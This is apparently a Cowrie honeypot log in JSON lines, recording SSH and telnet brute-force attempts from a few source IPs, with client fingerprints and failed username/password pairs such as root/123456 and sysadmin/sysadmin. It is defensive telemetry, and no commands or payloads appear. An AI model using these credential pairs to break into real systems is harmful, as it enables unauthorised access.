{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:19.101612Z","src_ip":"192.109.200.237","session":"d33b4dc2597b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:19.428004Z","src_ip":"192.109.200.237","session":"d33b4dc2597b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:20.515921Z","src_ip":"192.109.200.237","session":"d33b4dc2597b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51904,"dst_ip":"159.203.135.109","dst_port":22,"session":"aba1c8ea6e21","protocol":"ssh","message":"New connection: 192.109.200.237:51904 (159.203.135.109:22) [session: aba1c8ea6e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:22.385226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:22.390657Z","src_ip":"192.109.200.237","session":"aba1c8ea6e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:22.478479Z","src_ip":"192.109.200.237","session":"aba1c8ea6e21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:22.934305Z","src_ip":"192.109.200.237","session":"aba1c8ea6e21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:24.022402Z","src_ip":"192.109.200.237","session":"aba1c8ea6e21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51930,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c19414d8b2b","protocol":"ssh","message":"New connection: 192.109.200.237:51930 (159.203.135.109:22) [session: 0c19414d8b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:25.994073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:25.999644Z","src_ip":"192.109.200.237","session":"0c19414d8b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:26.085494Z","src_ip":"192.109.200.237","session":"0c19414d8b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:26.337436Z","src_ip":"192.109.200.237","session":"0c19414d8b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:27.426364Z","src_ip":"192.109.200.237","session":"0c19414d8b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51948,"dst_ip":"159.203.135.109","dst_port":22,"session":"d084f281faee","protocol":"ssh","message":"New connection: 192.109.200.237:51948 (159.203.135.109:22) [session: d084f281faee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:29.339618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:29.345448Z","src_ip":"192.109.200.237","session":"d084f281faee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:29.428519Z","src_ip":"192.109.200.237","session":"d084f281faee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:29.676202Z","src_ip":"192.109.200.237","session":"d084f281faee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:30.761870Z","src_ip":"192.109.200.237","session":"d084f281faee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35532,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a11353df17d","protocol":"ssh","message":"New connection: 192.109.200.237:35532 (159.203.135.109:22) [session: 9a11353df17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:32.710894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:32.715866Z","src_ip":"192.109.200.237","session":"9a11353df17d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:32.798258Z","src_ip":"192.109.200.237","session":"9a11353df17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:33.045308Z","src_ip":"192.109.200.237","session":"9a11353df17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:34.131286Z","src_ip":"192.109.200.237","session":"9a11353df17d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35558,"dst_ip":"159.203.135.109","dst_port":22,"session":"145d62d57e9e","protocol":"ssh","message":"New connection: 192.109.200.237:35558 (159.203.135.109:22) [session: 145d62d57e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:36.192188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:36.304621Z","src_ip":"192.109.200.237","session":"145d62d57e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:36.311792Z","src_ip":"192.109.200.237","session":"145d62d57e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin","message":"login attempt [sysadmin/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:36.639799Z","src_ip":"192.109.200.237","session":"145d62d57e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:37.725617Z","src_ip":"192.109.200.237","session":"145d62d57e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":50040,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2ce5839bfe","protocol":"ssh","message":"New connection: 147.45.197.250:50040 (10.17.0.5:22) [session: 2b2ce5839bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:38.877310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:38.882585Z","src_ip":"147.45.197.250","session":"2b2ce5839bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:38.976060Z","src_ip":"147.45.197.250","session":"2b2ce5839bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34082,"dst_ip":"10.17.0.5","dst_port":23,"session":"d590c8d189c9","protocol":"telnet","message":"New connection: 152.42.224.71:34082 (10.17.0.5:23) [session: d590c8d189c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:39.086637Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r123","message":"login attempt [root/1q2w3e4r123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:39.257444Z","src_ip":"147.45.197.250","session":"2b2ce5839bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35570,"dst_ip":"159.203.135.109","dst_port":22,"session":"572313189ac6","protocol":"ssh","message":"New connection: 192.109.200.237:35570 (159.203.135.109:22) [session: 572313189ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:39.687065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:39.691716Z","src_ip":"192.109.200.237","session":"572313189ac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:39.778522Z","src_ip":"192.109.200.237","session":"572313189ac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:40.024729Z","src_ip":"192.109.200.237","session":"572313189ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:40.353702Z","src_ip":"147.45.197.250","session":"2b2ce5839bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:41.183982Z","src_ip":"192.109.200.237","session":"572313189ac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.69287347793579,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:42.780717Z","src_ip":"152.42.224.71","session":"207b94485452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33538,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f7144837794","protocol":"ssh","message":"New connection: 192.109.200.237:33538 (159.203.135.109:22) [session: 7f7144837794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:43.105876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:40:43.111103Z","src_ip":"192.109.200.237","session":"7f7144837794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2